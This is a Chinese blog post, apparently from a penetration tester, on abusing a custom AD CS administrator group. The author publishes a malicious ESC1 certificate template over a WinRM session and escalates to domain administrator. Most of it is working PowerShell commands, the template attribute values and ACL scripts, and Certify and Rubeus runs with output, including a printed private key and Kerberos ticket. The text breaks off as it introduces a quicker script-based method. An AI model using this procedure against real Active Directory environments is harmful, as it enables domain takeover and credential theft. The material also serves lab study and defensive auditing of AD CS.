域渗透 on wackymaker

ca管理员权限解析及利用发布恶意模板攻击

Wed, 03 Sep 2025 18:42:12 +0800

本文导读

pki是一种公钥认证基础，用来实现证书的发布管理等，Microsof实现的PKI被称为 Active Directory证书服务（Active Directory Certificate ServicesAD CS）其在很大程度上受到安全社区的关注。

当我们在域渗透的过程中，经常会见到pki admin或者Certificate Managers这些组，无论是实战环境还是渗透比赛，这都意味着我们可以枚举域内存在漏洞的证书模板并加以利用。

但其实这种组都是域环境自建组，域环境并不具备默认的ca管理组（除了域管），这种环境中的自建组一般只会分配证书请求颁发发布的权限，也就意味着如果当前环境并不存在恶意模板，我们就不能利用对ca的全部掌控权限打黄金证书，所以我在思考这种攻击路径时意识到，只要存在这种自建组，其实我们完全具备权限发布恶意模板并请求证书，做到自己部署可攻击环境。这显而易见不是吗。证书服务管理组理应获得如此权限，但是当我尝试进行测试时发现，如果我们想发布恶意证书，就需要权限的同时还需要桌面交互会话，否则你无法操控证书管理certsrv.msc。所以本文的重点将放在：如何仅利用winrm会话发布并注册恶意模板并加以利用。我查找了中外很多文章，确定这条攻击路径目前没有人发布过，所以本文将详细描述一下这种攻击所需要的权限，以及具体的攻击手法，虽然其中涉及大量powershell语法。

恶意证书部署流程

首先可以看一下我现在目标靶机环境

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'wackadcs-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[!] Failed to get CA configuration for 'wackadcs-DC-CA' via RRP: Expected a bytes object for security descriptor, got <class 'str'>
[!] Use -debug to print a stacktrace
[!] Could not retrieve configuration for 'wackadcs-DC-CA'
[*] Checking web enrollment for CA 'wackadcs-DC-CA' @ 'dc.wackadcs.com'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : wackadcs-DC-CA
    DNS Name                            : dc.wackadcs.com
    Certificate Subject                 : CN=wackadcs-DC-CA, DC=wackadcs, DC=com
    Certificate Serial Number           : 19F9595699CD919E41F8D2620299CFA0
    Certificate Validity Start          : 2025-08-28 08:34:40+00:00
    Certificate Validity End            : 2030-08-28 08:44:40+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
    Active Policy                       : Unknown
    Disabled Extensions                 : Unknown
Certificate Templates                   : [!] Could not find any certificate templates

可以看到证书服务配置正常，但是没有可以利用的证书

为了部署恶意证书我们能从微软的pki文档中了解证书发布的流程

首先我们需要准备一个恶意证书模板，我的目光首先放在了esc1模板上，这是一种在adcs中最易于攻击的模板，而微软的自签名模板以及一个证书模板需要如下5块信息

准备模板

基本信息中我们需要定义模板的名称以及类型标志版本，我简单配置如下

name	"ESC1"	#AD中对象的内部名字（用于引用）
displayName	"ESC1"	#CA界面显示名称
objectClass	"pKICertificateTemplate"	#LDAP对象类型，表示这是一个证书模板
flags	131616	#模板标志，控制模板行为（如允许导出私钥、自动注册等）
revision	100	#模板版本号，增加后表示模板有更新

OID和应用策略

oid是对象标识符，可以理解为一个全局唯一的标识信息，主要是msPKI-Certificate-Application-Policy属性中的值1.3.6.1.5.5.7.3.2代表了允许客户端验证

msPKI-Cert-Template-OID	"1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639",	#模板的唯一标识符，用于 CA 识别模板
msPKI-Certificate-Application-Policy	["1.3.6.1.5.5.7.3.2"]	#证书用途（EKU），这里 1.3.6.1.5.5.7.3.2 表示 客户端身份认证
msPKI-Certificate-Name-Flag	1	#控制 CN 名称如何生成（1 通常表示使用用户的主体名称）

密钥和名称加密

这一段是和正常模板一致的，可以随便导出一张证书复制过来或者ai生成

msPKI-Minimal-Key-Size	2048	#证书最小密钥长度
msPKI-Private-Key-Flag	16842752	#控制私钥属性（可导出、可签名、可加密等）
pKIDefaultCSPs	"3,Microsoft Base DSS Cryptographic Provider","2,Microsoft Base Cryptographic Provider v1.0","1,Microsoft Enhanced Cryptographic Provider v1.0"	#默认使用的加密服务提供者（CSP）
pKIDefaultKeySpec	2	#默认密钥用途（签名=1，加密=2，这里是加密）

生命周期和有效期

同上，找模板复制即可

pKIExpirationPeriod	[0,64,57,135,46,225,254,255]	#证书有效期，二进制编码表示
pKIOverlapPeriod	[0,128,166,10,255,222,255,255]	#证书续订重叠期，二进制表示
pKIMaxIssuingDepth	0	#最大颁发深度（0 = 无限

扩展属性

这段需要包含证书的关键扩展（Key Usage, Basic Constraints），以及重复指定pKIExtendedKeyUsage参数[“1.3.6.1.5.5.7.3.2”]表示此模板为客户端认证用途

pKICriticalExtensions	["2.5.29.15","2.5.29.7"]	#证书的关键扩展（Key Usage, Basic Constraints）
pKIExtendedKeyUsage	["1.3.6.1.5.5.7.3.2"]	#扩展密钥用途，重复指定客户端身份认证
msPKI-Enrollment-Flag	0	#注册标志（0 = 不自动注册）
msPKI-RA-Signature	0	#RA 签名属性，0 表示默认
msPKI-Template-Minor-Revision	4	#小版本号，用于模板升级
msPKI-Template-Schema-Version	2	#模板 schema 版本（AD 内部版本控制）

pkiadmin组权限构筑

现在为了发布这个模板让其能正常使用，我们需要进行如下三步

为这个模板创建对应的OID对象
创建证书模板（我们已经完成了这步）
发布模板到ca

为了完成前两种种操作，pkiadmin组分别需要对OID Container和Certificate Templates这两个容器有 CreateChild, WriteProperty权限，这表示了pkiadmin可以对证书模板以及oid设置有子类创建以及写入的权限，用于导入模板的使用

而一旦模板导入，我们需要其对ca的WriteProperty权限用于注册证书（注意这里WriteProperty权限即可，完全掌控就可以打黄金证书了，但是没有权限的话在后续会提示权限不足，我已经失败过很多次了）

我在一个配置好了域控及证书服务的环境当中创建了一个空白的pkiadmin组，并用了如下脚本分配了以上我提到的权限

# 获取配置命名上下文
$ConfigNC = (Get-ADRootDSE).configurationNamingContext

# 容器路径
$TemplateCN = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$ConfigNC"
$OIDCN      = "CN=OID,CN=Public Key Services,CN=Services,$ConfigNC"
$EnrollmentPath = "CN=Enrollment Services,CN=Public Key Services,CN=Services,$ConfigNC"

# 获取 CA
$CAs = Get-ADObject -SearchBase $EnrollmentPath -SearchScope OneLevel -Filter *

# 获取 PKIAdmins SID
$account = New-Object System.Security.Principal.NTAccount("WACKADCS\PKIAdmins")
$sid     = $account.Translate([System.Security.Principal.SecurityIdentifier])

# ACE 构造函数（6参数）
function Add-PKIAdminACE($path, $rights) {
    $acl = Get-ACL "AD:$path"
    $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
        $sid,
        $rights,
        [System.Security.AccessControl.AccessControlType]::Allow,
        [GUID]::Empty,
        [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None,
        [GUID]::Empty
    )
    $acl.AddAccessRule($ace)
    Set-ACL "AD:$path" $acl
}

#  Certificate Templates 容器权限
Add-PKIAdminACE -path $TemplateCN -rights ([System.DirectoryServices.ActiveDirectoryRights]::CreateChild -bor [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)

# OID 容器权限
Add-PKIAdminACE -path $OIDCN -rights ([System.DirectoryServices.ActiveDirectoryRights]::CreateChild -bor [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)

# CA 对象权限（允许写入 certificateTemplates 属性）
foreach ($CA in $CAs) {
    $CAPath = $CA.DistinguishedName
    Add-PKIAdminACE -path $CAPath -rights ([System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)
}

# 可选：检查权限
foreach ($CA in $CAs) {
    Write-Host "==== $($CA.Name) ===="
    Get-ACL "AD:$($CA.DistinguishedName)" |
        Select-Object -ExpandProperty Access |
        Where-Object {$_.IdentityReference -like "*PKIAdmins*"}
}

# 可选：检查模板和 OID 容器
Write-Host "=== Certificate Templates ==="
Get-ACL "AD:$TemplateCN" | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -like "*PKIAdmins*"}

Write-Host "=== OID Container ==="
Get-ACL "AD:$OIDCN" | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -like "*PKIAdmins*"}

利用域管权限执行后可以看到效果正常，一个可以用于利用，常见的pkiadmin组就被创建好了

PS C:\Users\Administrator\Desktop> powershell .\make_pkiadmins.ps1
==== wackadcs-DC-CA ====


ActiveDirectoryRights : WriteProperty
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : WACKADCS\PKIAdmins
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

=== Certificate Templates ===
ActiveDirectoryRights : CreateChild, WriteProperty
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : WACKADCS\PKIAdmins
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

=== OID Container ===
ActiveDirectoryRights : CreateChild, WriteProperty
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : WACKADCS\PKIAdmins
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

接下来我创建了一个testuser用于测试远程攻击，将其添加入pkiadmin以及远程管理组

PS C:\Users\Administrator> $password = ConvertTo-SecureString "wacky123!@#" -AsPlainText -Force
PS C:\Users\Administrator> New-ADUser -Name $userName `
>>            -SamAccountName $userName `
>>            -AccountPassword $password `
>>            -Enabled $true `
>>            -Path $ou
PS C:\Users\Administrator> Add-ADGroupMember -Identity "PKIAdmins" -Members $userName
PS C:\Users\Administrator> Add-ADGroupMember -Identity "Remote Desktop Users" -Members $userName
PS C:\Users\Administrator> Add-ADGroupMember -Identity "Remote Management Users" -Members $userName

注册恶意模板

当我们利用testuser权限winrm登陆机器的时候，就可以一步一步注册模板了

首先创建OID对象

evil-winrm-py PS C:\Users\testuser\Documents> $OIDProps = @{
    'DisplayName'             = 'ESC1'
    'msPKI-Cert-Template-OID' = '1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639'
    'flags'                   = 1
}
evil-winrm-py PS C:\Users\testuser\Documents> New-ADObject -Path $OIDPath -Name 'ESC1' -Type 'msPKI-Enterprise-Oid' -OtherAttributes $OIDProps

之后创建证书模板对象

evil-winrm-py PS C:\Users\testuser\Documents> $TemplatePath = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$ConfigNC"
evil-winrm-py PS C:\Users\testuser\Documents> $TemplateProps = @{
    'displayName'                   = 'ESC1'
    'msPKI-Cert-Template-OID'       = '1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639'
    'flags'                         = 131616
    'revision'                      = 100
    'msPKI-Certificate-Application-Policy' = @('1.3.6.1.5.5.7.3.2')
    'msPKI-Certificate-Name-Flag'   = 1
    'msPKI-Enrollment-Flag'         = 0
    'msPKI-Minimal-Key-Size'        = 2048
    'msPKI-Private-Key-Flag'        = 16842752
    'msPKI-RA-Signature'            = 0
    'msPKI-Template-Minor-Revision' = 4
    'msPKI-Template-Schema-Version' = 2
    'pKICriticalExtensions'          = @('2.5.29.15','2.5.29.7')
    'pKIDefaultCSPs'                 = @('3,Microsoft Base DSS Cryptographic Provider',
                                          '2,Microsoft Base Cryptographic Provider v1.0',
                                          '1,Microsoft Enhanced Cryptographic Provider v1.0')
    'pKIDefaultKeySpec'              = 2
    'pKIExpirationPeriod'            = [byte[]](0,64,57,135,46,225,254,255)
    'pKIExtendedKeyUsage'            = @('1.3.6.1.5.5.7.3.2')
    'pKIKeyUsage'                    = [byte[]](128,0)
    'pKIMaxIssuingDepth'             = 0
    'pKIOverlapPeriod'               = [byte[]](0,128,166,10,255,222,255,255)
}
evil-winrm-py PS C:\Users\testuser\Documents> New-ADObject -Path $TemplatePath -Name 'ESC1' -Type 'pKICertificateTemplate' -OtherAttributes $Template
Props

在ca中注册模板

evil-winrm-py PS C:\Users\testuser\Documents> $CAs = Get-ADObject -SearchBase $EnrollmentPath -SearchScope OneLevel -Filter *
evil-winrm-py PS C:\Users\testuser\Documents>
foreach ($CA in $CAs) {
    Set-ADObject -Identity $CA.DistinguishedName -Add @{certificateTemplates='ESC1'}
}

当注册完毕后，模板只是注册在了ca当中，但是没有人能利用它，我们需要在其中属性中写入能请求的组，作为它的onwer，我们是有权限的。

$TemplateDN = "CN=ESC1,CN=Certificate Templates,CN=Public Key Services,CN=Services,$ConfigNC"
$acl = Get-ACL "AD:$TemplateDN"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    (New-Object System.Security.Principal.NTAccount("PKIadmins")),
    "ExtendedRight",
    "Allow",
    [GUID]"00000000-0000-0000-0000-000000000000"
)
$acl.AddAccessRule($rule)
Set-ACL -Path "AD:$TemplateDN" -AclObject $acl

没有报错则是正常的，我们尝试使用certipy远程查找一下可利用模板

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
...........
    Template Name                       : ESC1
    Display Name                        : ESC1
    Certificate Authorities             : wackadcs-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-08-29T10:18:30+00:00
    Template Last Modified              : 2025-08-29T10:18:30+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : WACKADCS.COM\PKIAdmins
      Object Control Permissions
        Owner                           : WACKADCS.COM\testuser
        Full Control Principals         : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Owner Principals          : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Dacl Principals           : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
    [+] User Enrollable Principals      : WACKADCS.COM\PKIAdmins
    [+] User ACL Principals             : WACKADCS.COM\testuser
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC4                              : Template is owned by user.

可以看到Enrollment Rights: WACKADCS.COM\PKIAdmins这则允许我们当前组去以任意身份请求证书,我们可以利用Certify和Rubeus尝试利用

先以administrator身份请求证书

evil-winrm-py PS C:\Users\testuser\Documents> .\Certify.exe request /ca:dc.wackadcs.com\wackadcs-DC-CA /template:ESC /altname:administrator

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.1.0                               

[*] Action: Request a Certificates

[*] Current user context    : WACKADCS\testuser
[*] No subject name specified, using current context as subject.

[*] Template                : ESC
[*] Subject                 : CN=testuser, CN=Users, DC=wackadcs, DC=com
[*] AltName                 : administrator

[*] Certificate Authority   : dc.wackadcs.com\wackadcs-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 8

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAx96DY8qk0ZekO+1NVRo+KT9iZf8BATvKqZ5xyfVm26uZAcPJ
D3nj6DMxH41b6RK1IpJpKct+dwD9R4Fca3uP2SAxiFxY5iMigd3I/1nHpZO3X/DS
0XPwVY0VeCDgFtDtqKMrQsTcQgzTcrwL5SWE+96E5Qk6lLhsbx/ZSlO2ncKRnx+F
heuN7gnA4qn1TWgZf0BTU1xKfxB5UqVS8fF7IEo/kkKSTm14w//8R27Ua6yarEbB
sjMF3oHj+FxnL7fkvVFTmto5hCaTUzdxcSOdF8dx0oKperulzItnasmKtCxUO2w4
WKBrNMMsRwAh0q/nWRQwOquJbc/0aGod7u7RlQIDAQABAoIBAErbulZL9cNSin6v
eIFhXNrSFKajBdtSa6tv3qqHsUihUqNokwuq2YOEeOeaaEw5Z4JVV/IBd5JW2oZH
mzfehZgLCMJL5Df9/NSrHrcVB0OqucnDRxKP2/oO53Wgyo2BHyJEStWtKdnLN/8H
E2V10gML6rZl6Hz/Pg243geKpyEarrhBHBP7W/u1iUs0ySpV4SxFOh4dFTWJmMWM
GfuVUU7BTU8OZwQUkyB9LbrT+q3p0DUgVx7zLlqbC1MzbjP61jQ5JAm3ep6Vq/Yb
NiPnQVbeHbMQjqjOqDm0zEV5QYQtVVA+aRd/5FzwmmI0VRz1lTWBUXwwdCYEHcWZ
jcSD8FkCgYEA9P7Q3Icrcbin4El/rAZVHqpHuALtzClSOjYBLmfUvd8Fq8TmEiZ/
2nbXXThV/U5qIxgkRSVHvCNGZelLPJN5r4dUJyy9kumxHYIJfER/LW+5A1KGC86k
tgkfIRmDzT9Nu8Z5npHa0L2LYR+c/rTFZKtSQAjVEjNkdavYwdmyvLsCgYEA0NjL
bxm/YWgoW/MQ1aqfTVOvI1IGdPZ+VPsXVHSX4VxbasTqobZ16wJLE+jtsEa+HeWa
fA6oXAGDD0Z1y6V4/GwVKI/zLhSgMbcoB/+NSnFu0HDHLbV2WtPpXXfIXk361/ns
5G5XWGBYvJYDzHoQHftjdVzECzzA2fnWTftPbe8CgYEAolS0z2pAvvk7QsFwdus7
OzZYjvRh3AUFFszxu23Q6H39o/Ky/xPDY12bFYlecJiketxkK+ynu2EkJCKQV3Lg
Dg39FHfwpIdzc7nVzyETo2eDj0/+wZQKTxN8LNJbIoPvXZwEuayq7+SnlZL800e0
AyABP6yagZTL26wh01ALvkECgYBJuj8XGZ/WY07cJxLqWzGhusk5Ttu4rswqc/no
dsCnblNXfezW6fL24/hdLv26HT9Ajq3a3dHRqTb7TYSIQAJWGlHd3/OZcO6cnmwj
ZrQac7ELJMUr/cOqjOT1ejPiFuVXGYPnoIx1Ro4NBWiR5wWJkBWsePM8hFYQnYJq
RS3lQQKBgQCZKFzAz4pWFRtrpNNUvOHRd6WBLAYNiGuGe/IKniQeUZRtkJaHQdXv
jwSBlXfmUGetfY8D5nlD6fybxUYf0Osgb7WAy/wQSYUWfGyw3k62B1+a8l8rpMSI
/2eWgG/BwJxu7z07mb4Z0Zp+V9a3R7yxc0PV1/VEwGucFFEXSsXhPA==
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFpzCCBI+gAwIBAgITRwAAAAiztITCzCjvHwAAAAAACDANBgkqhkiG9w0BAQsF
ADBIMRMwEQYKCZImiZPyLGQBGRYDY29tMRgwFgYKCZImiZPyLGQBGRYId2Fja2Fk
Y3MxFzAVBgNVBAMTDndhY2thZGNzLURDLUNBMB4XDTI1MDgyOTEwNTMxMFoXDTI2
MDgyOTEwNTMxMFowUjETMBEGCgmSJomT8ixkARkWA2NvbTEYMBYGCgmSJomT8ixk
ARkWCHdhY2thZGNzMQ4wDAYDVQQDEwVVc2VyczERMA8GA1UEAxMIdGVzdHVzZXIw
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDH3oNjyqTRl6Q77U1VGj4p
P2Jl/wEBO8qpnnHJ9Wbbq5kBw8kPeePoMzEfjVvpErUikmkpy353AP1HgVxre4/Z
IDGIXFjmIyKB3cj/Wcelk7df8NLRc/BVjRV4IOAW0O2ooytCxNxCDNNyvAvlJYT7
3oTlCTqUuGxvH9lKU7adwpGfH4WF643uCcDiqfVNaBl/QFNTXEp/EHlSpVLx8Xsg
Sj+SQpJObXjD//xHbtRrrJqsRsGyMwXegeP4XGcvt+S9UVOa2jmEJpNTN3FxI50X
x3HSgql6u6XMi2dqyYq0LFQ7bDhYoGs0wyxHACHSr+dZFDA6q4ltz/Roah3u7tGV
AgMBAAGjggJ+MIICejA9BgkrBgEEAYI3FQcEMDAuBiYrBgEEAYI3FQiDxo8/g+L0
AYGxix2Hm8gOhp6HRGud+qVSl9vWTAIBZAIBBDATBgNVHSUEDDAKBggrBgEFBQcD
AjAOBgNVHQ8BAf8EBAMCB4AwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDAjAd
BgNVHQ4EFgQUemYdeXrgkaNdHVKuML4ES+6js+cwKAYDVR0RBCEwH6AdBgorBgEE
AYI3FAIDoA8MDWFkbWluaXN0cmF0b3IwHwYDVR0jBBgwFoAUHiNq67IPqjWhNvQo
ARl4Yl+qc6IwgcgGA1UdHwSBwDCBvTCBuqCBt6CBtIaBsWxkYXA6Ly8vQ049d2Fj
a2FkY3MtREMtQ0EsQ049ZGMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9d2Fja2FkY3MsREM9
Y29tP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1j
UkxEaXN0cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUF
BzAChoGhbGRhcDovLy9DTj13YWNrYWRjcy1EQy1DQSxDTj1BSUEsQ049UHVibGlj
JTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixE
Qz13YWNrYWRjcyxEQz1jb20/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNz
PWNlcnRpZmljYXRpb25BdXRob3JpdHkwDQYJKoZIhvcNAQELBQADggEBAAXl5dhO
r0TQawv3i8jtRKNYDbbuMhyldqnMmyk7FEm8xGcT54pKMSNejMg0VtuNT/KvZBqP
oonOEPh2ZHoh03MVtklBRoR9YtaxbZPC7JEydM+pAy+OOS64m+E0+S7Ox5Xt8ZA2
HqXIWCaVuvlPty33lH1YiQhW81e3SaeRXuBDA56VFNijlFogvjrI1MNi7EOurQMb
Hxu0/zUr6TZOaboIwEavzvy2eNfv5f8bxFYRI9tmpt+4U6HLFlPoPQ/7S/m3boNS
Su1pp4C+PKflGlp/5jAyDvRLsm3CiAZRaO70vLUvmttoElHPU/XGUrI4F/u0iV1R
UeXZ3nCktWcfXoo=
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx



Certify completed in 00:00:03.8674143

复制完整的证书转换格式，并录入证书密钥

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:123456
Verifying - Enter Export Password:123456

将生成的证书传回目标并用Rubeus利用pkinit请求tgt并注入当前会话

evil-winrm-py PS C:\Users\testuser\Documents> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:123456 /ptt

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4 

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=testuser, CN=Users, DC=wackadcs, DC=com 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'wackadcs.com\administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFzDCCBcigAwIBBaEDAgEWooIE3DCCBNhhggTUMIIE0KADAgEFoQ4bDFdBQ0tBRENTLkNPTaIhMB+g
      AwIBAqEYMBYbBmtyYnRndBsMd2Fja2FkY3MuY29to4IElDCCBJCgAwIBEqEDAgECooIEggSCBH69O4aY
      cdHlYpgzQPr73+J9XmXoRmCqA/Wki5r+CMbIMLvueqnCpjch6rrZgoRF95qgQxsEVstY8HYMJrzTBOPN
      onZMbl6pgzqV8QeTN3p/awlUIO8ac0SsDPH2YTLl/mFHBoohSqTfCKQ1Gn5/q+CsPZOaf5CLPWJoBOiB
      C5bDapEI2GUN4dafAgGoj0GAF9TJr19j8IkwPlQy14hohErsMGIWot2N7iuYJLb4ERWYnClPsP4z9kxe
      wCD41vGdxMt0/7eMYd/TeDbh13Ilx0QNkSBWtHwCD3LRfaDKHbXO6oZb2kbNME7vHJxFkcAemWEzAp+0
      /PekCxQRGxmYFVIheE/VJJu/RTJB8l3tRw+fw1GpXOepKQsPQMwTT8YZBrthPLy4qjBIjQNNKC/67e1s
      Kni5m3rnsK06eS++Zj4AyFKmq+4Vy43cqOAUGdL5nreySvceJmbNBJkHe+Dm7ClKk32/n4SnhS0x9uV2
      JjSzy3uSA2xpCjHBxtZUGGsxU82W947QU528OjKDS+vjMuJN+5eszcaCs96pmK3vWZNAhIImt5gj+sbV
      LzhnnDiuOBSF2SQHfM+NPYuci4G0zUmUcy9pZv3to3pKpD7ZuYwntlkM5rBqZRT8P8gbnrgpnWwc5rg/
      eQDyeznTkdEvPhyllcU72wn6ylS9i/FDl+U9S8VNEE+IwGYDippaL/TTWAuythmLg7+9VF5HSwnRp1ba
      7NMxeC9EXKLBd3i2nZH5uZ1Bh9YdjAWW86XRiw2BYektqNlea5t2eEmEUnO0ToMm7ZpYNIsCuHQuT0mZ
      DIRLMiLskNHTVuthsoADqOBTa8fsliEerCUYPE7fmsQgft9c4nbLul/3GfT4QecAJgxTjL6bLhokKPAz
      1iPdcSQY0VdrBXm3IoMSy+oTqSu6Y7vwywbO8qNiN8Xh4ZeILTb3pTj5iU8SxyxEdyk6w4KcseD/J0Ik
      4fu2aUf5l+xpg6Acr6JlVndzFOmXtxMIsEPhs6DdlzKw0NdtHE82hX9TCmFLsS62zGcf0mfxrpOCSwq6
      Tg95Zwu9WVLAl2rfaF8ZDrInjbzEW73rsZmIw6cbJ0c0a/GxB+3LONEZ4MRPHwPIAClYVMzisx2++CK4
      WnNkHSYX/ixqSLGxz0U6ta/bPz1aT8uAfyRG43Zt5lStEX+BFfcPjmv0oxDVnoxPOQKI4tCxjwlSTbqR
      VTursusFJ5/6X54BV0tDOvYp4gqdEy4+Qx2/2JihaVgd6+9M0dHZBeWhCFj1xew29ysl+Q80R1CvJ78l
      qCFhAfCF6wA1BBpgLdJaEuszFtxAr8BKdzPN0ksoWTJIYLSGcfogvRAcLpj2E+dlvO61YxAx1qjQSC97
      zeK5khB4ApzVP890GNrdSzubkztEBZ811IjauCOw8uERNzlayNd2f5AnTn+EfIUDp4dek/ixTDGCTFV8
      H4HrgKE1NUfduGzRmiS62PUJbPTRhy/aXL12XQvV6IiMgXPJ3KvIdkphxvlqS4oCKXmBiRuNvS9lMlCQ
      /yYqGfGco4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gGzAZoAMCARehEgQQVvE4TO9wnXeG
      nNT3b7pdi6EOGwxXQUNLQURDUy5DT02iGjAYoAMCAQGhETAPGw1hZG1pbmlzdHJhdG9yowcDBQBA4QAA
      pREYDzIwMjUwODI5MTEwODA1WqYRGA8yMDI1MDgyOTIxMDgwNVqnERgPMjAyNTA5MDUxMTA4MDVaqA4b
      DFdBQ0tBRENTLkNPTakhMB+gAwIBAqEYMBYbBmtyYnRndBsMd2Fja2FkY3MuY29t
[+] Ticket successfully imported!

  ServiceName           :  krbtgt/wackadcs.com
  ServiceRealm          :  WACKADCS.COM
  UserName              :  administrator
  UserRealm             :  WACKADCS.COM
  StartTime             :  2025/8/29 19:08:05
  EndTime               :  2025/8/30 5:08:05
  RenewTill             :  2025/9/5 19:08:05
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  VvE4TO9wnXeGnNT3b7pdiw==

可以看到已经攻击成功了，我们通过pkiadmin在一个本没有可利用证书的环境中搞到了域管票据

evil-winrm-py PS C:\Users\testuser\Documents> klist

当前登录 ID 是 0:0xc60529

缓存的票证: (1)

#0>	客户端: administrator @ WACKADCS.COM
	服务器: krbtgt/wackadcs.com @ WACKADCS.COM
	Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
	票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize 
	开始时间: 8/29/2025 19:08:05 (本地)
	结束时间:   8/30/2025 5:08:05 (本地)
	续订时间: 9/5/2025 19:08:05 (本地)
	会话密钥类型: RSADSI RC4-HMAC(NT)
	缓存标志: 0x1 -> PRIMARY 
	调用的 KDC:

快速攻击

在我完成以上的实操测试后我感觉实在是有些繁琐，我不相信实际域环境中不具备远程管理证书服务的工具

最终我找到了这个ADCSTemplate脚本，它不是为了注册恶意模板的，事实上它甚至不会被标记为恶意脚本，只是它恰好具备了我们需要的远程注册证书的功能

